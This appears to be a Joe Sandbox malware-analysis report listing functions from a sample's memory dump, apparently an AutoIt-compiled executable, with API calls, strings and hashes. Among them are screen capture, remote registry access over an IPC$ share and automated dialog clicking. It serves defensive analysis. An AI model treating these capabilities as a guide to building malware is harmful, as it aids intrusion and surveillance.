Instruction Fuzzy Hash: 91615A75900208AFDB11DFA8CC85EEE77B8FB09710F244169FA14EB2A1D771AD45DB90

Function 0087731A Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 160windowCOMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 0087738F
CreateCompatibleBitmap.GDI32(00000000,00000007,?), ref: 0087739B
CreateCompatibleDC.GDI32(?), ref: 008773A7
SelectObject.GDI32(00000000,?), ref: 008773B4
StretchBlt.GDI32(00000006,00000000,00000000,00000007,?,?,?,?,00000007,?,00CC0020), ref: 00877408
GetDIBits.GDI32(00000006,?,00000000,00000000,00000000,00000028,00000000), ref: 00877444
GetDIBits.GDI32(00000006,?,00000000,?,00000000,00000028,00000000), ref: 00877468
SelectObject.GDI32(00000006,?), ref: 00877470
DeleteObject.GDI32(?), ref: 00877479
DeleteDC.GDI32(00000006), ref: 00877480
ReleaseDC.USER32(00000000,?), ref: 0087748B

Strings

(, xrefs: 00877410

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: Object$BitsCompatibleCreateDeleteSelect$BitmapReleaseStretch
String ID: (
API String ID: 2598888154-3887548279
Opcode ID: 044e1c649adf5263011746aa72867dc9f4ad3d8639deb61aa6a33f6a6849dedf
Instruction ID: 1b66339ff0af9e626e9adfe4608241ff4f7f6303a7260f8b5f5ae7a97cede2ea
Opcode Fuzzy Hash: 044e1c649adf5263011746aa72867dc9f4ad3d8639deb61aa6a33f6a6849dedf
Instruction Fuzzy Hash: AB513775904209EFCB14CFA8CC84EAEBBB9FF48310F148529FA5AE7211D731A940DB50

Function 00880E1A Relevance: 21.1, APIs: 1, Strings: 11, Instructions: 120COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,?,?,?,?,?,0087FDAD,?,?), ref: 00880E31

Strings

HKCU, xrefs: 00880F21
HKCC, xrefs: 00880EFF
HKEY_CURRENT_CONFIG, xrefs: 00880EEE
8o, xrefs: 00880E89
HKEY_CURRENT_USER, xrefs: 00880F10
HKEY_LOCAL_MACHINE, xrefs: 00880E9A
HKCR, xrefs: 00880ED9
HKEY_USERS, xrefs: 00880F32
HKLM, xrefs: 00880EAF
HKU, xrefs: 00880F43
HKEY_CLASSES_ROOT, xrefs: 00880EC4

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: BuffCharUpper
String ID: 8o$HKCC$HKCR$HKCU$HKEY_CLASSES_ROOT$HKEY_CURRENT_CONFIG$HKEY_CURRENT_USER$HKEY_LOCAL_MACHINE$HKEY_USERS$HKLM$HKU
API String ID: 3964851224-1524927920
Opcode ID: 9700791ea59849cb4db50f1931131832763ee49f85b09da164daf03962f97f84
Instruction ID: 8ded8458a9703bb7604ff7c0e9bb436a376cb8e98ad22b7215f7e2e10e160940
Opcode Fuzzy Hash: 9700791ea59849cb4db50f1931131832763ee49f85b09da164daf03962f97f84
Instruction Fuzzy Hash: 2741393150026A8BCF60EF54E895AEF3764FF11304F944464FEA69B292DB30A95ECF61

Function 00806A8C Relevance: 19.7, APIs: 4, Strings: 7, Instructions: 478COMMON

Download Yara Rule

APIs

Part of subcall function 00820957: GetCurrentDirectoryW.KERNEL32(00007FFF,?,?,?,00806B0C,?,00008000), ref: 00820973

Part of subcall function 00804750: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00804743,?,?,008037AE,?), ref: 00804770

SetCurrentDirectoryW.KERNEL32(?,?,?,?,00000000), ref: 00806BAD
SetCurrentDirectoryW.KERNEL32(?), ref: 00806CFA

Part of subcall function 0080586D: _wcscpy.LIBCMT ref: 008058A5

Part of subcall function 0082363D: _iswctype.LIBCMT ref: 00823645

Strings

EA06, xrefs: 0083E452
Bad directive syntax error, xrefs: 0083E79D
>>>AUTOIT SCRIPT<<<, xrefs: 0083E496
#include depth exceeded. Make sure there are no recursive includes, xrefs: 0083E421
Unterminated string, xrefs: 0083E7E4
AU3!, xrefs: 00806B61
Error opening the file, xrefs: 0083E43D, 0083E4B8

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: CurrentDirectory$FullNamePath_iswctype_wcscpy
String ID: #include depth exceeded. Make sure there are no recursive includes$>>>AUTOIT SCRIPT<<<$AU3!$Bad directive syntax error$EA06$Error opening the file$Unterminated string
API String ID: 537147316-1018226102
Opcode ID: 55b86ccbf68b442ae9533cf6d165f3b597526b1ffd6141534dadc6e35bbd73f8
Instruction ID: 5358cb425c65f57371f7f9d6850981d5f28b056ece200ca7a89461125b9997f9
Opcode Fuzzy Hash: 55b86ccbf68b442ae9533cf6d165f3b597526b1ffd6141534dadc6e35bbd73f8
Instruction Fuzzy Hash: B10266301083419FC764EF28C8819AFBBE5FF99314F10492DF996D72A2EA319959CB53

Function 00862D36 Relevance: 19.7, APIs: 13, Instructions: 214windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00862D50
GetMenuItemInfoW.USER32(00000000,00000007,00000000,00000030), ref: 00862DDD
GetMenuItemCount.USER32(008C5890), ref: 00862E66
DeleteMenu.USER32(008C5890,00000005,00000000,000000F5,?,?), ref: 00862EF6
DeleteMenu.USER32(008C5890,00000004,00000000), ref: 00862EFE
DeleteMenu.USER32(008C5890,00000006,00000000), ref: 00862F06
DeleteMenu.USER32(008C5890,00000003,00000000), ref: 00862F0E
GetMenuItemCount.USER32(008C5890), ref: 00862F16
SetMenuItemInfoW.USER32(008C5890,00000004,00000000,00000030), ref: 00862F4C
GetCursorPos.USER32(?), ref: 00862F56
SetForegroundWindow.USER32(00000000), ref: 00862F5F
TrackPopupMenuEx.USER32(008C5890,00000000,?,00000000,00000000,00000000), ref: 00862F72
PostMessageW.USER32(00000000,00000000,00000000,00000000), ref: 00862F7E

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: Menu$DeleteItem$CountInfo$CursorForegroundMessagePopupPostTrackWindow_memset
String ID:
API String ID: 3993528054-0
Opcode ID: 99d96e9f831c42f53e0dfa2af9ed66bc6d83a0635eb26bcae026287655b05ddd
Instruction ID: 83175465bd051a60077821cd9e9b72ab3e7808f1003496dccc09f25d31d14e88
Opcode Fuzzy Hash: 99d96e9f831c42f53e0dfa2af9ed66bc6d83a0635eb26bcae026287655b05ddd
Instruction Fuzzy Hash: 55710970601A09BFEB219F58DC49FAABF64FF04364F110266F615EA1E2C7726C60D791

Function 008577DC Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 128registryshareCOMMON

Download Yara Rule

APIs

Part of subcall function 00807BCC: _memmove.LIBCMT ref: 00807C06

_memset.LIBCMT ref: 0085786B
WNetAddConnection2W.MPR(?,?,?,00000000), ref: 008578A0
RegConnectRegistryW.ADVAPI32(?,80000002,?), ref: 008578BC
RegOpenKeyExW.ADVAPI32(?,?,00000000,00020019,?,?,SOFTWARE\Classes\), ref: 008578D8
RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,?,?,?,SOFTWARE\Classes\), ref: 00857902
CLSIDFromString.OLE32(?,?,?,SOFTWARE\Classes\), ref: 0085792A
RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 00857935
RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 0085793A

Strings

SOFTWARE\Classes\, xrefs: 0085780C
\IPC$, xrefs: 00857882
\CLSID, xrefs: 00857822

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: Close$ConnectConnection2FromOpenQueryRegistryStringValue_memmove_memset
String ID: SOFTWARE\Classes\$\CLSID$\IPC$
API String ID: 1411258926-22481851
Opcode ID: 18cf83912766e2b58841b49cb4eaf648d9776b19916fc20f3fee2656055e51ee
Instruction ID: da64e865793f63624ad14518dee65291d8a36a645fd578ae4a4a5f5597dc4918
Opcode Fuzzy Hash: 18cf83912766e2b58841b49cb4eaf648d9776b19916fc20f3fee2656055e51ee
Instruction Fuzzy Hash: 50410972C1462DAADF11EBA8EC45DEEB778FF14311F404069E915E32A1DB356D08CBA1

Function 00887152 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 103windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0088716A
CreateMenu.USER32 ref: 00887185
SetMenu.USER32(?,00000000), ref: 00887194
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00887221
IsMenu.USER32(?), ref: 00887237
CreatePopupMenu.USER32 ref: 00887241
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 0088726E
DrawMenuBar.USER32 ref: 00887276

Strings

0, xrefs: 00887160
S, xrefs: 008871E0, 008871FD
F, xrefs: 00887262

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: Menu$CreateItem$DrawInfoInsertPopup_memset
String ID: S$0$F
API String ID: 176399719-740163881
Opcode ID: 7c344b8e6dedd9936999ad254c1b7b4875776a6ec3ab69a9975961caae0fe11e
Instruction ID: 4460715b8e1eefb9529657dfc603eacbd611d28f67e5f24cfb3d0c8caf4f644c
Opcode Fuzzy Hash: 7c344b8e6dedd9936999ad254c1b7b4875776a6ec3ab69a9975961caae0fe11e
Instruction Fuzzy Hash: FF411B75A01209EFDB20EFA4D988E9A7BB5FF49350F244029FA56D7361D731A910CF90

Function 0085F7A1 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 75windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00000FFF,00000000,?,0083E2A0,00000010,?,Bad directive syntax error,0088F910,00000000,?,?,?,>>>AUTOIT SCRIPT<<<), ref: 0085F7C2
LoadStringW.USER32(00000000,?,0083E2A0,00000010), ref: 0085F7C9

Part of subcall function 00807DE1: _memmove.LIBCMT ref: 00807E22

_wprintf.LIBCMT ref: 0085F7FC
__swprintf.LIBCMT ref: 0085F81E
MessageBoxW.USER32(00000000,00000001,00000001,00011010), ref: 0085F88D

Strings

%s (%d) : ==> %s.: %s %s, xrefs: 0085F7F7
Error: , xrefs: 0085F85B
Line %d:, xrefs: 0085F818
Line %d (File "%s"):, xrefs: 0085F833
., xrefs: 0085F873

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: HandleLoadMessageModuleString__swprintf_memmove_wprintf
String ID: Error: $%s (%d) : ==> %s.: %s %s$.$Line %d (File "%s"):$Line %d:
API String ID: 1506413516-4153970271
Opcode ID: 905dab33da2492b83601525c464bdc1e385dde23b0cebc5f0193de0ab406055d
Instruction ID: 407a61576e5e077e4f8dde66baf9cd76d6d947f75c28e12ac15f72f2e2cef6b3
Opcode Fuzzy Hash: 905dab33da2492b83601525c464bdc1e385dde23b0cebc5f0193de0ab406055d
Instruction Fuzzy Hash: 0E218F3180021DFBDF11EF94CC0AEEE7739FF14304F040465F615A61A2EA35AA58DB51

Function 008652C7 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 74COMMON

Download Yara Rule

APIs

Part of subcall function 00807BCC: _memmove.LIBCMT ref: 00807C06

Part of subcall function 00807924: _memmove.LIBCMT ref: 008079AD

mciSendStringW.WINMM(status PlayMe mode,?,00000100,00000000), ref: 00865330
mciSendStringW.WINMM(close PlayMe,00000000,00000000,00000000), ref: 00865346
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00865357
mciSendStringW.WINMM(play PlayMe wait,00000000,00000000,00000000), ref: 00865369
mciSendStringW.WINMM(play PlayMe,00000000,00000000,00000000), ref: 0086537A

Strings

open , xrefs: 008652DF
alias PlayMe, xrefs: 00865309
close PlayMe, xrefs: 00865341, 0086536E
play PlayMe, xrefs: 00865375
status PlayMe mode, xrefs: 0086532B
play PlayMe wait, xrefs: 00865364

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: SendString$_memmove
String ID: alias PlayMe$close PlayMe$open $play PlayMe$play PlayMe wait$status PlayMe mode
API String ID: 2279737902-1007645807
Opcode ID: 923ac226f324d384d0681385becd3e59c633247e2b6781c37e2883975aa7348d
Instruction ID: 2556c2a25e4feb8e9004716ec859fbfd60f3c937925e86c1c2a62d599361975f
Opcode Fuzzy Hash: 923ac226f324d384d0681385becd3e59c633247e2b6781c37e2883975aa7348d
Instruction Fuzzy Hash: 09119020E50169B9D760B665CC4ADFFBBBCFBA2F48F100429B521E23D1EEA01D05C6A5

Function 008646B7 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 73networkCOMMON

Download Yara Rule

APIs

WSAStartup.WSOCK32(00000101,?), ref: 008646D2
gethostname.WSOCK32(?,00000100), ref: 008646EC
gethostbyname.WSOCK32(?), ref: 008646F9
_wcscpy.LIBCMT ref: 00864721
_memmove.LIBCMT ref: 00864734
inet_ntoa.WSOCK32(?), ref: 0086473F
_strcat.LIBCMT ref: 0086474D
_wcscpy.LIBCMT ref: 00864764
WSACleanup.WSOCK32 ref: 00864772
_wcscpy.LIBCMT ref: 00864780

Strings

0.0.0.0, xrefs: 0086471B

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: _wcscpy$CleanupStartup_memmove_strcatgethostbynamegethostnameinet_ntoa
String ID: 0.0.0.0
API String ID: 208665112-3771769585
Opcode ID: 144b2582d98edbdb236cadd92aecff270dbe27db3cff5d8726f2fbc07425f536
Instruction ID: e0520fb66170b321be990544c16ad36a9c07749c246ff32b66343f5877a056c4
Opcode Fuzzy Hash: 144b2582d98edbdb236cadd92aecff270dbe27db3cff5d8726f2fbc07425f536
Instruction Fuzzy Hash: E011C071500118AFDB20BB38AC4AEEE77ACFB02711F1501B6F645D6192EF748AC18B61

Function 00864F75 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 72sleepwindowtimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 00864F7A

Part of subcall function 0082049F: timeGetTime.WINMM(?,75A4B400,00810E7B), ref: 008204A3

Sleep.KERNEL32(0000000A), ref: 00864FA6
EnumThreadWindows.USER32(?,Function_00064F28,00000000), ref: 00864FCA
FindWindowExW.USER32(00000000,00000000,BUTTON,00000000), ref: 00864FEC
SetActiveWindow.USER32 ref: 0086500B
SendMessageW.USER32(00000000,000000F5,00000000,00000000), ref: 00865019
SendMessageW.USER32(00000010,00000000,00000000), ref: 00865038
Sleep.KERNEL32(000000FA), ref: 00865043
IsWindow.USER32 ref: 0086504F
EndDialog.USER32(00000000), ref: 00865060

Strings

BUTTON, xrefs: 00864FDE

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: Window$MessageSendSleepTimetime$ActiveDialogEnumFindThreadWindows
String ID: BUTTON
API String ID: 1194449130-3405671355
Opcode ID: 3e7ac9f991f92d96c3fb336b6237f70114eac64edc521fe4da08a1e8c0b9af8f
Instruction ID: 924ab241dd1c820d3a73b323c315edc95a44ebb998eecf373d09266aea5548d4
Opcode Fuzzy Hash: 3e7ac9f991f92d96c3fb336b6237f70114eac64edc521fe4da08a1e8c0b9af8f
Instruction Fuzzy Hash: C7219374204605AFE7119F74ED89F2A3BB9FB54745F251034F202C22B2EB719D60DB62

Function 0086D58D Relevance: 18.3, APIs: 12, Instructions: 283comCOMMON

Download Yara Rule

APIs

Part of subcall function 00809837: __itow.LIBCMT ref: 00809862
Part of subcall function 00809837: __swprintf.LIBCMT ref: 008098AC

CoInitialize.OLE32(00000000), ref: 0086D5EA
SHGetSpecialFolderLocation.SHELL32(00000000,00000000,?), ref: 0086D67D
SHGetDesktopFolder.SHELL32(?), ref: 0086D691
CoCreateInstance.OLE32(00892D7C,00000000,00000001,008B8C1C,?), ref: 0086D6DD
SHCreateShellItem.SHELL32(00000000,00000000,?,00000003), ref: 0086D74C
CoTaskMemFree.OLE32(?,?), ref: 0086D7A4
_memset.LIBCMT ref: 0086D7E1
SHBrowseForFolderW.SHELL32(?), ref: 0086D81D
SHGetPathFromIDListW.SHELL32(00000000,?), ref: 0086D840
CoTaskMemFree.OLE32(00000000), ref: 0086D847
CoTaskMemFree.OLE32(00000000,00000001,00000000), ref: 0086D87E
CoUninitialize.OLE32(00000001,00000000), ref: 0086D880

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: FolderFreeTask$Create$BrowseDesktopFromInitializeInstanceItemListLocationPathShellSpecialUninitialize__itow__swprintf_memset
String ID:
API String ID: 1246142700-0
Opcode ID: c883ebc3a9a0cf533d59e1c456cf9adcd85a1f1cc67dad06e36cbd354f065a93
Instruction ID: 8210dad486e90245289c2c6f9de0d6301c8c65235ef5d3a84d91b38aed999ae0
Opcode Fuzzy Hash: c883ebc3a9a0cf533d59e1c456cf9adcd85a1f1cc67dad06e36cbd354f065a93
Instruction Fuzzy Hash: F5B10D75A00219AFDB04DF68C888DAEBBB9FF48314B158469E909EB251DB30ED41CB51

Function 0085C267 Relevance: 18.2, APIs: 12, Instructions: 174COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000001), ref: 0085C283
GetWindowRect.USER32(00000000,?), ref: 0085C295
MoveWindow.USER32(00000001,0000000A,?,00000001,?,00000000), ref: 0085C2F3
GetDlgItem.USER32(?,00000002), ref: 0085C2FE
GetWindowRect.USER32(00000000,?), ref: 0085C310
MoveWindow.USER32(00000001,?,00000000,00000001,?,00000000), ref: 0085C364
GetDlgItem.USER32(?,000003E9), ref: 0085C372
GetWindowRect.USER32(00000000,?), ref: 0085C383
MoveWindow.USER32(00000000,0000000A,00000000,?,?,00000000), ref: 0085C3C6
GetDlgItem.USER32(?,000003EA), ref: 0085C3D4
MoveWindow.USER32(00000000,0000000A,0000000A,?,-00000005,00000000), ref: 0085C3F1
InvalidateRect.USER32(?,00000000,00000001), ref: 0085C3FE

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: Window$ItemMoveRect$Invalidate
String ID:
API String ID: 3096461208-0
Opcode ID: c89e1813c1bfa1bdc0af8569c13ab75c565f4e39c0cb5d59c9f73ab352b5da38
Instruction ID: 69c15b286a36db3f66afb2f535f5263cb27f2de7028f2ffe5519d15928f350fd
Opcode Fuzzy Hash: c89e1813c1bfa1bdc0af8569c13ab75c565f4e39c0cb5d59c9f73ab352b5da38
Instruction Fuzzy Hash: 6D513E71B00205AFDB18CFADDD89AAEBBB6FF98311F148129FA15D6291D7709D448B10

Function 0086A8A7 Relevance: 17.7, APIs: 3, Strings: 7, Instructions: 183COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?,0088F910), ref: 0086A90B
GetDriveTypeW.KERNEL32(00000061,008B89A0,00000061), ref: 0086A9D5
_wcscpy.LIBCMT ref: 0086A9FF

Strings

all, xrefs: 0086A911
fixed, xrefs: 0086A953
unknown, xrefs: 0086A996
network, xrefs: 0086A969
removable, xrefs: 0086A93D
ramdisk, xrefs: 0086A97F
cdrom, xrefs: 0086A927

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: BuffCharDriveLowerType_wcscpy
String ID: all$cdrom$fixed$network$ramdisk$removable$unknown
API String ID: 2820617543-1000479233
Opcode ID: 23fa3e76d15c9edfc1bea12cde5796e9f41255963a6d7eccaa11d94f1eda18c9
Instruction ID: d06ad1587b2dfc4f72d67c2f365ce5c4ba02bbc86c10a5196b79826976a354c1
Opcode Fuzzy Hash: 23fa3e76d15c9edfc1bea12cde5796e9f41255963a6d7eccaa11d94f1eda18c9
Instruction Fuzzy Hash: E7518D311083119FC704EF18D892AAFBBA5FF84344F55482DF5A6E72A2DB319949CA53

Function 00888645 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 168COMMON

Download Yara Rule

APIs

InvalidateRect.USER32(?,00000000,00000001,?,00000001), ref: 008886FF

Strings

S, xrefs: 00888681

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: InvalidateRect
String ID: S
API String ID: 634782764-2858979982
Opcode ID: e0d9ebded6a4233aa43535f9df3946ad775dff4958429819212a03a3cc77266e
Instruction ID: 8ed1ed3863df94eefa7d74fbe641981a6d5f7517664a8510428e42c3a8f7f065
Opcode Fuzzy Hash: e0d9ebded6a4233aa43535f9df3946ad775dff4958429819212a03a3cc77266e
